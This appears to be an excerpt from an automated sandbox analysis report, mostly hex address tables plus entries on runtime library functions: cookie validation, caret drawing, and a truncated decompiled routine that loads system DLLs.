0x00b1e770
0x00b1e770
0x00b1e773
0x00b1e776
0x00000000
0x00b1e77c
0x00b1e783
0x00b1e783
0x00b1e785
0x00b1e789
0x00b1e78b
0x00b1e78b
0x00b1e78e
0x00b1e78e
0x00b1e795
0x00b1e797
0x00b1e7a5
0x00b1e7a5
0x00b1e7a7
0x00b1e7ab
0x00b1e7ad
0x00b1e7ad
0x00b1e7b0
0x00b1e7b0
0x00b1e7b7
0x00b1e7b9
0x00b1e7c7
0x00b1e7c7
0x00b1e7c9
0x00b1e7cd
0x00b1e7cf
0x00b1e7cf
0x00b1e7d2
0x00b1e7d2
0x00b1e7d9
0x00b1e7db
0x00b1e7e9
0x00b1e7e9
0x00b1e7eb
0x00b1e7ef
0x00b1e7f1
0x00b1e7f1
0x00b1e7f4
0x00b1e7f4
0x00b1e7fb
0x00b1e7fd
0x00000000
0x00000000
0x00b1e7fd
0x00b1e7db
0x00b1e7b9
0x00b1e797
0x00000000
0x00000000
0x00b1eb5c
0x00b1eb5c
0x00b1eb5f
0x00b1eb62
0x00000000
0x00b1eb68
0x00b1eb68
0x00b1eb6b
0x00b1eb6f
0x00b1eb6f
0x00b1eb71
0x00b1eb73
0x00b1eb75
0x00b1eb77
0x00b1eb77
0x00b1eb77
0x00b1eb7a
0x00b1eb7a
0x00b1eb81
0x00b1eb83
0x00000000
0x00b1eb89
0x00b1eb89
0x00b1eb8d
0x00b1eb91
0x00b1eb91
0x00b1eb93
0x00b1eb95
0x00b1eb97
0x00b1eb99
0x00b1eb99
0x00b1eb99
0x00b1eb9c
0x00b1eb9c
0x00b1eba3
0x00b1eba5
0x00000000
0x00b1ebab
0x00b1ebab
0x00b1ebaf
0x00b1ebb3
0x00b1ebb3
0x00b1ebb5
0x00b1ebb7
0x00b1ebb9
0x00b1ebbb
0x00b1ebbb
0x00b1ebbb
0x00b1ebbe
0x00b1ebbe
0x00b1ebc5
0x00b1ebc7
0x00000000
0x00b1ebcd
0x00b1ebcd
0x00b1ebd1
0x00b1ebd5
0x00b1ebd5
0x00b1ebd7
0x00b1ebd9
0x00b1ebdb
0x00b1ebdd
0x00b1ebdd
0x00b1ebdd
0x00b1ebe0
0x00b1ebe0
0x00b1ebe7
0x00b1ebe9
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1ebe9
0x00b1ebc7
0x00b1eba5
0x00b1eb83
0x00000000
0x00000000
0x00b1ef85
0x00b1ef85
0x00b1ef88
0x00b1ef8b
0x00000000
0x00b1ef91
0x00b1ef91
0x00b1ef94
0x00b1ef98
0x00b1ef98
0x00b1ef9a
0x00b1ef9c
0x00b1ef9e
0x00b1efa0
0x00b1efa0
0x00b1efa0
0x00b1efa3
0x00b1efa3
0x00b1efaa
0x00b1efac
0x00000000
0x00b1efb2
0x00b1efb2
0x00b1efb6
0x00b1efba
0x00b1efba
0x00b1efbc
0x00b1efbe
0x00b1efc0
0x00b1efc2
0x00b1efc2
0x00b1efc2
0x00b1efc5
0x00b1efc5
0x00b1efcc
0x00b1efce
0x00000000
0x00b1efd4
0x00b1efd4
0x00b1efd8
0x00b1efdc
0x00b1efdc
0x00b1efde
0x00b1efe0
0x00b1efe2
0x00b1efe4
0x00b1efe4
0x00b1efe4
0x00b1efe7
0x00b1efe7
0x00b1efee
0x00b1eff0
0x00000000
0x00b1eff6
0x00b1eff6
0x00b1effa
0x00b1effe
0x00b1effe
0x00b1f000
0x00b1f002
0x00b1f004
0x00b1f006
0x00b1f006
0x00b1f006
0x00b1f009
0x00b1f009
0x00b1f010
0x00b1f012
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1f012
0x00b1eff0
0x00b1efce
0x00b1efac
0x00000000
0x00000000
0x00b1f39f
0x00b1f39f
0x00b1f3a2
0x00b1f3a5
0x00000000
0x00b1f3ab
0x00b1f3ab
0x00b1f3ae
0x00b1f3b2
0x00b1f3b2
0x00b1f3b4
0x00b1f3b6
0x00b1f3b8
0x00b1f3ba
0x00b1f3ba
0x00b1f3ba
0x00b1f3bd
0x00b1f3bd
0x00b1f3c4
0x00b1f3c6
0x00000000
0x00b1f3cc
0x00b1f3cc
0x00b1f3d0
0x00b1f3d4
0x00b1f3d4
0x00b1f3d6
0x00b1f3d8
0x00b1f3da
0x00b1f3dc
0x00b1f3dc
0x00b1f3dc
0x00b1f3df
0x00b1f3df
0x00b1f3e6
0x00b1f3e8
0x00000000
0x00b1f3ee
0x00b1f3ee
0x00b1f3f2
0x00b1f3f6
0x00b1f3f6
0x00b1f3f8
0x00b1f3fa
0x00b1f3fc
0x00b1f3fe
0x00b1f3fe
0x00b1f3fe
0x00b1f401
0x00b1f401
0x00b1f408
0x00b1f40a
0x00000000
0x00b1f410
0x00b1f410
0x00b1f414
0x00b1f418
0x00b1f418
0x00b1f41a
0x00b1f41c
0x00b1f41e
0x00b1f420
0x00b1f420
0x00b1f420
0x00b1f423
0x00b1f423
0x00b1f42a
0x00b1f42c
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1f42c
0x00b1f40a
0x00b1f3e8
0x00b1f3c6
0x00000000
0x00000000
0x00b1e6dd
0x00b1e6dd
0x00b1e6e0
0x00b1e6e3
0x00000000
0x00b1e6e9
0x00b1e6f0
0x00b1e6f0
0x00b1e6f2
0x00b1e6f6
0x00b1e6f8
0x00b1e6f8
0x00b1e6fb
0x00b1e6fb
0x00b1e702
0x00b1e704
0x00b1e712
0x00b1e712
0x00b1e714
0x00b1e718
0x00b1e71a
0x00b1e71a
0x00b1e71d
0x00b1e71d
0x00b1e724
0x00b1e726
0x00b1e734
0x00b1e734
0x00b1e736
0x00b1e73a
0x00b1e73c
0x00b1e73c
0x00b1e73f
0x00b1e73f
0x00b1e746
0x00b1e748
0x00b1e756
0x00b1e756
0x00b1e758
0x00b1e75c
0x00b1e75e
0x00b1e75e
0x00b1e761
0x00b1e761
0x00b1e768
0x00b1e76a
0x00000000
0x00000000
0x00b1e76a
0x00b1e748
0x00b1e726
0x00b1e704
0x00000000
0x00000000
0x00b1eac9
0x00b1eac9
0x00b1eacc
0x00b1eacf
0x00000000
0x00b1ead5
0x00b1ead5
0x00b1ead8
0x00b1eadc
0x00b1eadc
0x00b1eade
0x00b1eae0
0x00b1eae2
0x00b1eae4
0x00b1eae4
0x00b1eae4
0x00b1eae7
0x00b1eae7
0x00b1eaee
0x00b1eaf0
0x00000000
0x00b1eaf6
0x00b1eaf6
0x00b1eafa
0x00b1eafe
0x00b1eafe
0x00b1eb00
0x00b1eb02
0x00b1eb04
0x00b1eb06
0x00b1eb06
0x00b1eb06
0x00b1eb09
0x00b1eb09
0x00b1eb10
0x00b1eb12
0x00000000
0x00b1eb18
0x00b1eb18
0x00b1eb1c
0x00b1eb20
0x00b1eb20
0x00b1eb22
0x00b1eb24
0x00b1eb26
0x00b1eb28
0x00b1eb28
0x00b1eb28
0x00b1eb2b
0x00b1eb2b
0x00b1eb32
0x00b1eb34
0x00000000
0x00b1eb3a
0x00b1eb3a
0x00b1eb3e
0x00b1eb42
0x00b1eb42
0x00b1eb44
0x00b1eb46
0x00b1eb48
0x00b1eb4a
0x00b1eb4a
0x00b1eb4a
0x00b1eb4d
0x00b1eb4d
0x00b1eb54
0x00b1eb56
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1eb56
0x00b1eb34
0x00b1eb12
0x00b1eaf0
0x00000000
0x00000000
0x00b1eef2
0x00b1eef2
0x00b1eef5
0x00b1eef8
0x00000000
0x00b1eefe
0x00b1eefe
0x00b1ef01
0x00b1ef05
0x00b1ef05
0x00b1ef07
0x00b1ef09
0x00b1ef0b
0x00b1ef0d
0x00b1ef0d
0x00b1ef0d
0x00b1ef10
0x00b1ef10
0x00b1ef17
0x00b1ef19
0x00000000
0x00b1ef1f
0x00b1ef1f
0x00b1ef23
0x00b1ef27
0x00b1ef27
0x00b1ef29
0x00b1ef2b
0x00b1ef2d
0x00b1ef2f
0x00b1ef2f
0x00b1ef2f
0x00b1ef32
0x00b1ef32
0x00b1ef39
0x00b1ef3b
0x00000000
0x00b1ef41
0x00b1ef41
0x00b1ef45
0x00b1ef49
0x00b1ef49
0x00b1ef4b
0x00b1ef4d
0x00b1ef4f
0x00b1ef51
0x00b1ef51
0x00b1ef51
0x00b1ef54
0x00b1ef54
0x00b1ef5b
0x00b1ef5d
0x00000000
0x00b1ef63
0x00b1ef63
0x00b1ef67
0x00b1ef6b
0x00b1ef6b
0x00b1ef6d
0x00b1ef6f
0x00b1ef71
0x00b1ef73
0x00b1ef73
0x00b1ef73
0x00b1ef76
0x00b1ef76
0x00b1ef7d
0x00b1ef7f
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1ef7f
0x00b1ef5d
0x00b1ef3b
0x00b1ef19
0x00000000
0x00000000
0x00b1f30b
0x00b1f30b
0x00b1f30e
0x00b1f311
0x00000000
0x00b1f317
0x00b1f317
0x00b1f31b
0x00b1f31f
0x00b1f31f
0x00b1f321
0x00b1f323
0x00b1f325
0x00b1f327
0x00b1f327
0x00b1f327
0x00b1f32a
0x00b1f32a
0x00b1f331
0x00b1f333
0x00000000
0x00b1f339
0x00b1f339
0x00b1f33d
0x00b1f341
0x00b1f341
0x00b1f343
0x00b1f345
0x00b1f347
0x00b1f349
0x00b1f349
0x00b1f349
0x00b1f34c
0x00b1f34c
0x00b1f353
0x00b1f355
0x00000000
0x00b1f35b
0x00b1f35b
0x00b1f35f
0x00b1f363
0x00b1f363
0x00b1f365
0x00b1f367
0x00b1f369
0x00b1f36b
0x00b1f36b
0x00b1f36b
0x00b1f36e
0x00b1f36e
0x00b1f375
0x00b1f377
0x00000000
0x00b1f37d
0x00b1f37d
0x00b1f381
0x00b1f385
0x00b1f385
0x00b1f387
0x00b1f389
0x00b1f38b
0x00b1f38d
0x00b1f38d
0x00b1f38d
0x00b1f390
0x00b1f390
0x00b1f397
0x00b1f399
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1f399
0x00b1f377
0x00b1f355
0x00b1f333
0x00000000
0x00000000
0x00b1e64a
0x00b1e64a
0x00b1e64d
0x00b1e650
0x00000000
0x00b1e656
0x00b1e65d
0x00b1e65d
0x00b1e65f
0x00b1e663
0x00b1e665
0x00b1e665
0x00b1e668
0x00b1e668
0x00b1e66f
0x00b1e671
0x00b1e67f
0x00b1e67f
0x00b1e681
0x00b1e685
0x00b1e687
0x00b1e687
0x00b1e68a
0x00b1e68a
0x00b1e691
0x00b1e693
0x00b1e6a1
0x00b1e6a1
0x00b1e6a3
0x00b1e6a7
0x00b1e6a9
0x00b1e6a9
0x00b1e6ac
0x00b1e6ac
0x00b1e6b3
0x00b1e6b5
0x00b1e6c3
0x00b1e6c3
0x00b1e6c5
0x00b1e6c9
0x00b1e6cb
0x00b1e6cb
0x00b1e6ce
0x00b1e6ce
0x00b1e6d5
0x00b1e6d7
0x00000000
0x00000000
0x00b1e6d7
0x00b1e6b5
0x00b1e693
0x00b1e671
0x00000000
0x00000000
0x00b1ea36
0x00b1ea36
0x00b1ea39
0x00b1ea3c
0x00000000
0x00b1ea42
0x00b1ea42
0x00b1ea45
0x00b1ea49
0x00b1ea49
0x00b1ea4b
0x00b1ea4d
0x00b1ea4f
0x00b1ea51
0x00b1ea51
0x00b1ea51
0x00b1ea54
0x00b1ea54
0x00b1ea5b
0x00b1ea5d
0x00000000
0x00b1ea63
0x00b1ea63
0x00b1ea67
0x00b1ea6b
0x00b1ea6b
0x00b1ea6d
0x00b1ea6f
0x00b1ea71
0x00b1ea73
0x00b1ea73
0x00b1ea73
0x00b1ea76
0x00b1ea76
0x00b1ea7d
0x00b1ea7f
0x00000000
0x00b1ea85
0x00b1ea85
0x00b1ea89
0x00b1ea8d
0x00b1ea8d
0x00b1ea8f
0x00b1ea91
0x00b1ea93
0x00b1ea95
0x00b1ea95
0x00b1ea95
0x00b1ea98
0x00b1ea98
0x00b1ea9f
0x00b1eaa1
0x00000000
0x00b1eaa7
0x00b1eaa7
0x00b1eaab
0x00b1eaaf
0x00b1eaaf
0x00b1eab1
0x00b1eab3
0x00b1eab5
0x00b1eab7
0x00b1eab7
0x00b1eab7
0x00b1eaba
0x00b1eaba
0x00b1eac1
0x00b1eac3
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1eac3
0x00b1eaa1
0x00b1ea7f
0x00b1ea5d
0x00000000
0x00000000
0x00b1ee5f
0x00b1ee5f
0x00b1ee62
0x00b1ee65
0x00000000
0x00b1ee6b
0x00b1ee6b
0x00b1ee6e
0x00b1ee72
0x00b1ee72
0x00b1ee74
0x00b1ee76
0x00b1ee78
0x00b1ee7a
0x00b1ee7a
0x00b1ee7a
0x00b1ee7d
0x00b1ee7d
0x00b1ee84
0x00b1ee86
0x00000000
0x00b1ee8c
0x00b1ee8c
0x00b1ee90
0x00b1ee94
0x00b1ee94
0x00b1ee96
0x00b1ee98
0x00b1ee9a
0x00b1ee9c
0x00b1ee9c
0x00b1ee9c
0x00b1ee9f
0x00b1ee9f
0x00b1eea6
0x00b1eea8
0x00000000
0x00b1eeae
0x00b1eeae
0x00b1eeb2
0x00b1eeb6
0x00b1eeb6
0x00b1eeb8
0x00b1eeba
0x00b1eebc
0x00b1eebe
0x00b1eebe
0x00b1eebe
0x00b1eec1
0x00b1eec1
0x00b1eec8
0x00b1eeca
0x00000000
0x00b1eed0
0x00b1eed0
0x00b1eed4
0x00b1eed8
0x00b1eed8
0x00b1eeda
0x00b1eedc
0x00b1eede
0x00b1eee0
0x00b1eee0
0x00b1eee0
0x00b1eee3
0x00b1eee3
0x00b1eeea
0x00b1eeec
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1eeec
0x00b1eeca
0x00b1eea8
0x00b1ee86
0x00000000
0x00000000
0x00b1f278
0x00b1f278
0x00b1f27b
0x00b1f27e
0x00000000
0x00b1f284
0x00b1f284
0x00b1f287
0x00b1f28b
0x00b1f28b
0x00b1f28d
0x00b1f28f
0x00b1f291
0x00b1f293
0x00b1f293
0x00b1f293
0x00b1f296
0x00b1f296
0x00b1f29d
0x00b1f29f
0x00000000
0x00b1f2a5
0x00b1f2a5
0x00b1f2a9
0x00b1f2ad
0x00b1f2ad
0x00b1f2af
0x00b1f2b1
0x00b1f2b3
0x00b1f2b5
0x00b1f2b5
0x00b1f2b5
0x00b1f2b8
0x00b1f2b8
0x00b1f2bf
0x00b1f2c1
0x00000000
0x00b1f2c7
0x00b1f2c7
0x00b1f2cb
0x00b1f2cf
0x00b1f2cf
0x00b1f2d1
0x00b1f2d3
0x00b1f2d5
0x00b1f2d7
0x00b1f2d7
0x00b1f2d7
0x00b1f2da
0x00b1f2da
0x00b1f2e1
0x00b1f2e3
0x00000000
0x00b1f2e9
0x00b1f2e9
0x00b1f2ed
0x00b1f2f1
0x00b1f2f1
0x00b1f2f3
0x00b1f2f5
0x00b1f2f7
0x00b1f2f9
0x00b1f2f9
0x00b1f2f9
0x00b1f2fc
0x00b1f2fc
0x00b1f303
0x00b1f305
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1f305
0x00b1f2e3
0x00b1f2c1
0x00b1f29f
0x00000000
0x00000000
0x00b1e5b7
0x00b1e5b7
0x00b1e5ba
0x00b1e5bd
0x00000000
0x00b1e5c3
0x00b1e5ca
0x00b1e5ca
0x00b1e5cc
0x00b1e5d0
0x00b1e5d2
0x00b1e5d2
0x00b1e5d5
0x00b1e5d5
0x00b1e5dc
0x00b1e5de
0x00b1e5ec
0x00b1e5ec
0x00b1e5ee
0x00b1e5f2
0x00b1e5f4
0x00b1e5f4
0x00b1e5f7
0x00b1e5f7
0x00b1e5fe
0x00b1e600
0x00b1e60e
0x00b1e60e
0x00b1e610
0x00b1e614
0x00b1e616
0x00b1e616
0x00b1e619
0x00b1e619
0x00b1e620
0x00b1e622
0x00b1e630
0x00b1e630
0x00b1e632
0x00b1e636
0x00b1e638
0x00b1e638
0x00b1e63b
0x00b1e63b
0x00b1e642
0x00b1e644
0x00000000
0x00000000
0x00b1e644
0x00b1e622
0x00b1e600
0x00b1e5de
0x00000000
0x00000000
0x00b1e9a2
0x00b1e9a2
0x00b1e9a5
0x00b1e9a8
0x00000000
0x00b1e9ae
0x00b1e9ae
0x00b1e9b2
0x00b1e9b6
0x00b1e9b6
0x00b1e9b8
0x00b1e9ba
0x00b1e9bc
0x00b1e9be
0x00b1e9be
0x00b1e9be
0x00b1e9c1
0x00b1e9c1
0x00b1e9c8
0x00b1e9ca
0x00000000
0x00b1e9d0
0x00b1e9d0
0x00b1e9d4
0x00b1e9d8
0x00b1e9d8
0x00b1e9da
0x00b1e9dc
0x00b1e9de
0x00b1e9e0
0x00b1e9e0
0x00b1e9e0
0x00b1e9e3
0x00b1e9e3
0x00b1e9ea
0x00b1e9ec
0x00000000
0x00b1e9f2
0x00b1e9f2
0x00b1e9f6
0x00b1e9fa
0x00b1e9fa
0x00b1e9fc
0x00b1e9fe
0x00b1ea00
0x00b1ea02
0x00b1ea02
0x00b1ea02
0x00b1ea05
0x00b1ea05
0x00b1ea0c
0x00b1ea0e
0x00000000
0x00b1ea14
0x00b1ea14
0x00b1ea18
0x00b1ea1c
0x00b1ea1c
0x00b1ea1e
0x00b1ea20
0x00b1ea22
0x00b1ea24
0x00b1ea24
0x00b1ea24
0x00b1ea27
0x00b1ea27
0x00b1ea2e
0x00b1ea30
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1ea30
0x00b1ea0e
0x00b1e9ec
0x00b1e9ca
0x00000000
0x00000000
0x00b1edcc
0x00b1edcc
0x00b1edcf
0x00b1edd2
0x00000000
0x00b1edd8
0x00b1edd8
0x00b1eddb
0x00b1eddf
0x00b1eddf
0x00b1ede1
0x00b1ede3
0x00b1ede5
0x00b1ede7
0x00b1ede7
0x00b1ede7
0x00b1edea
0x00b1edea
0x00b1edf1
0x00b1edf3
0x00000000
0x00b1edf9
0x00b1edf9
0x00b1edfd
0x00b1ee01
0x00b1ee01
0x00b1ee03
0x00b1ee05
0x00b1ee07
0x00b1ee09
0x00b1ee09
0x00b1ee09
0x00b1ee0c
0x00b1ee0c
0x00b1ee13
0x00b1ee15
0x00000000
0x00b1ee1b
0x00b1ee1b
0x00b1ee1f
0x00b1ee23
0x00b1ee23
0x00b1ee25
0x00b1ee27
0x00b1ee29
0x00b1ee2b
0x00b1ee2b
0x00b1ee2b
0x00b1ee2e
0x00b1ee2e
0x00b1ee35
0x00b1ee37
0x00000000
0x00b1ee3d
0x00b1ee3d
0x00b1ee41
0x00b1ee45
0x00b1ee45
0x00b1ee47
0x00b1ee49
0x00b1ee4b
0x00b1ee4d
0x00b1ee4d
0x00b1ee4d
0x00b1ee50
0x00b1ee50
0x00b1ee57
0x00b1ee59
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1ee59
0x00b1ee37
0x00b1ee15
0x00b1edf3
0x00000000
0x00000000
0x00b1f1e5
0x00b1f1e5
0x00b1f1e8
0x00b1f1eb
0x00000000
0x00b1f1f1
0x00b1f1f1
0x00b1f1f4
0x00b1f1f8
0x00b1f1f8
0x00b1f1fa
0x00b1f1fc
0x00b1f1fe
0x00b1f200
0x00b1f200
0x00b1f200
0x00b1f203
0x00b1f203
0x00b1f20a
0x00b1f20c
0x00000000
0x00b1f212
0x00b1f212
0x00b1f216
0x00b1f21a
0x00b1f21a
0x00b1f21c
0x00b1f21e
0x00b1f220
0x00b1f222
0x00b1f222
0x00b1f222
0x00b1f225
0x00b1f225
0x00b1f22c
0x00b1f22e
0x00000000
0x00b1f234
0x00b1f234
0x00b1f238
0x00b1f23c
0x00b1f23c
0x00b1f23e
0x00b1f240
0x00b1f242
0x00b1f244
0x00b1f244
0x00b1f244
0x00b1f247
0x00b1f247
0x00b1f24e
0x00b1f250
0x00000000
0x00b1f256
0x00b1f256
0x00b1f25a
0x00b1f25e
0x00b1f25e
0x00b1f260
0x00b1f262
0x00b1f264
0x00b1f266
0x00b1f266
0x00b1f266
0x00b1f269
0x00b1f269
0x00b1f270
0x00b1f272
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1f272
0x00b1f250
0x00b1f22e
0x00b1f20c
0x00000000
0x00000000
0x00b1e524
0x00b1e527
0x00b1e52a
0x00000000
0x00b1e530
0x00b1e537
0x00b1e537
0x00b1e539
0x00b1e53d
0x00b1e53f
0x00b1e53f
0x00b1e542
0x00b1e542
0x00b1e549
0x00b1e54b
0x00b1e559
0x00b1e559
0x00b1e55b
0x00b1e55f
0x00b1e561
0x00b1e561
0x00b1e564
0x00b1e564
0x00b1e56b
0x00b1e56d
0x00b1e57b
0x00b1e57b
0x00b1e57d
0x00b1e581
0x00b1e583
0x00b1e583
0x00b1e586
0x00b1e586
0x00b1e58d
0x00b1e58f
0x00b1e59d
0x00b1e59d
0x00b1e59f
0x00b1e5a3
0x00b1e5a5
0x00b1e5a5
0x00b1e5a8
0x00b1e5a8
0x00b1e5af
0x00b1e5b1
0x00000000
0x00000000
0x00b1e5b1
0x00b1e58f
0x00b1e56d
0x00b1e54b
0x00000000
0x00000000
0x00b1e91f
0x00b1e922
0x00b1e925
0x00000000
0x00b1e927
0x00b1e927
0x00b1e92a
0x00b1e92e
0x00b1e92e
0x00b1e930
0x00b1e932
0x00b1e934
0x00b1e936
0x00b1e936
0x00b1e936
0x00b1e939
0x00b1e939
0x00b1e940
0x00b1e942
0x00000000
0x00b1e944
0x00b1e944
0x00b1e948
0x00b1e94c
0x00b1e94c
0x00b1e94e
0x00b1e950
0x00b1e952
0x00b1e954
0x00b1e954
0x00b1e954
0x00b1e957
0x00b1e957
0x00b1e95e
0x00b1e960
0x00000000
0x00b1e962
0x00b1e962
0x00b1e966
0x00b1e96a
0x00b1e96a
0x00b1e96c
0x00b1e96e
0x00b1e970
0x00b1e972
0x00b1e972
0x00b1e972
0x00b1e975
0x00b1e975
0x00b1e97c
0x00b1e97e
0x00000000
0x00b1e980
0x00b1e980
0x00b1e984
0x00b1e988
0x00b1e988
0x00b1e98a
0x00b1e98c
0x00b1e98e
0x00b1e990
0x00b1e990
0x00b1e990
0x00b1e993
0x00b1e993
0x00b1e99a
0x00b1e99c
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1e99c
0x00b1e97e
0x00b1e960
0x00b1e942
0x00000000
0x00000000
0x00b1ed39
0x00b1ed3c
0x00b1ed3f
0x00000000
0x00b1ed45
0x00b1ed45
0x00b1ed48
0x00b1ed4c
0x00b1ed4c
0x00b1ed4e
0x00b1ed50
0x00b1ed52
0x00b1ed54
0x00b1ed54
0x00b1ed54
0x00b1ed57
0x00b1ed57
0x00b1ed5e
0x00b1ed60
0x00000000
0x00b1ed66
0x00b1ed66
0x00b1ed6a
0x00b1ed6e
0x00b1ed6e
0x00b1ed70
0x00b1ed72
0x00b1ed74
0x00b1ed76
0x00b1ed76
0x00b1ed76
0x00b1ed79
0x00b1ed79
0x00b1ed80
0x00b1ed82
0x00000000
0x00b1ed88
0x00b1ed88
0x00b1ed8c
0x00b1ed90
0x00b1ed90
0x00b1ed92
0x00b1ed94
0x00b1ed96
0x00b1ed98
0x00b1ed98
0x00b1ed98
0x00b1ed9b
0x00b1ed9b
0x00b1eda2
0x00b1eda4
0x00000000
0x00b1edaa
0x00b1edaa
0x00b1edae
0x00b1edb2
0x00b1edb2
0x00b1edb4
0x00b1edb6
0x00b1edb8
0x00b1edba
0x00b1edba
0x00b1edba
0x00b1edbd
0x00b1edbd
0x00b1edc4
0x00b1edc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1edc6
0x00b1eda4
0x00b1ed82
0x00b1ed60
0x00000000
0x00000000
0x00b1f152
0x00b1f155
0x00b1f158
0x00000000
0x00b1f15e
0x00b1f15e
0x00b1f161
0x00b1f165
0x00b1f165
0x00b1f167
0x00b1f169
0x00b1f16b
0x00b1f16d
0x00b1f16d
0x00b1f16d
0x00b1f170
0x00b1f170
0x00b1f177
0x00b1f179
0x00000000
0x00b1f17f
0x00b1f17f
0x00b1f183
0x00b1f187
0x00b1f187
0x00b1f189
0x00b1f18b
0x00b1f18d
0x00b1f18f
0x00b1f18f
0x00b1f18f
0x00b1f192
0x00b1f192
0x00b1f199
0x00b1f19b
0x00000000
0x00b1f1a1
0x00b1f1a1
0x00b1f1a5
0x00b1f1a9
0x00b1f1a9
0x00b1f1ab
0x00b1f1ad
0x00b1f1af
0x00b1f1b1
0x00b1f1b1
0x00b1f1b1
0x00b1f1b4
0x00b1f1b4
0x00b1f1bb
0x00b1f1bd
0x00000000
0x00b1f1c3
0x00b1f1c3
0x00b1f1c7
0x00b1f1cb
0x00b1f1cb
0x00b1f1cd
0x00b1f1cf
0x00b1f1d1
0x00b1f1d3
0x00b1f1d3
0x00b1f1d3
0x00b1f1d6
0x00b1f1d6
0x00b1f1dd
0x00b1f1df
0x00000000
0x00000000
0x00000000
0x00000000
0x00b1f1df
0x00b1f1bd
0x00b1f19b
0x00b1f179
0x00000000
0x00000000
0x00b1e51d
0x00b1e05f
0x00b1e056
0x00b1e04d
0x00b1e044
0x00b1f625
0x00b1f628
0x00b1df62
0x00000000
0x00b1df62
0x00b1df60
0x00b1df5e
0x00000000
0x00b1df67
0x00b1df67
0x00b1df69
0x00b1df70
0x00000000
0x00b1df72
0x00000000
0x00b1df70
0x00b1df35
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00B1DF07
___except_validate_context_record.LIBVCRUNTIME ref: 00B1DF0F
_ValidateLocalCookies.LIBCMT ref: 00B1DF98
__IsNonwritableInCurrentImage.LIBCMT ref: 00B1DFC3
_ValidateLocalCookies.LIBCMT ref: 00B1E018

Strings

csm, xrefs: 00B1DFAD

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b62c552193824d84f0e89cf1805764eff89e21041f1cf536f46dd109a23c833e
Instruction ID: e623511831eae262cb4cda7576f79b2e20a434138fe1d7c2bc23fb160c2ad572
Opcode Fuzzy Hash: b62c552193824d84f0e89cf1805764eff89e21041f1cf536f46dd109a23c833e
Instruction Fuzzy Hash: 9941A430A00218ABCF14DF68D884ADEBBF5FF44324F5481D5F8199B396D731AA96CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B19950 Relevance: 10.6, APIs: 7, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00B19992
GetFocus.USER32 ref: 00B199BF
HideCaret.USER32 ref: 00B199EE
InvertRect.USER32 ref: 00B19A04
ReleaseDC.USER32 ref: 00B19A2C
GetFocus.USER32 ref: 00B19A41
ShowCaret.USER32 ref: 00B19A70

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: CaretFocus$HideInvertRectReleaseShow
String ID:
API String ID: 4235554027-0
Opcode ID: 2c1a91ca20fc8188f6e2462604a9343a382a94bdd3068e21516e96606b2ab14d
Instruction ID: 9ac86f2107b090c0f026519e27fa326b8e56ffa5eb79a9575fe6a6acfd95b077
Opcode Fuzzy Hash: 2c1a91ca20fc8188f6e2462604a9343a382a94bdd3068e21516e96606b2ab14d
Instruction Fuzzy Hash: AA31B674A00248DFCB04DFA8D599AACBBF0FF08351F518469E889DB310DB34EA88CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B22369 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B22369(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0xb360b0 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0xb2cae0 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0xb360b0 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0xb360b0 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E00B24A59(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E00B24A59(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
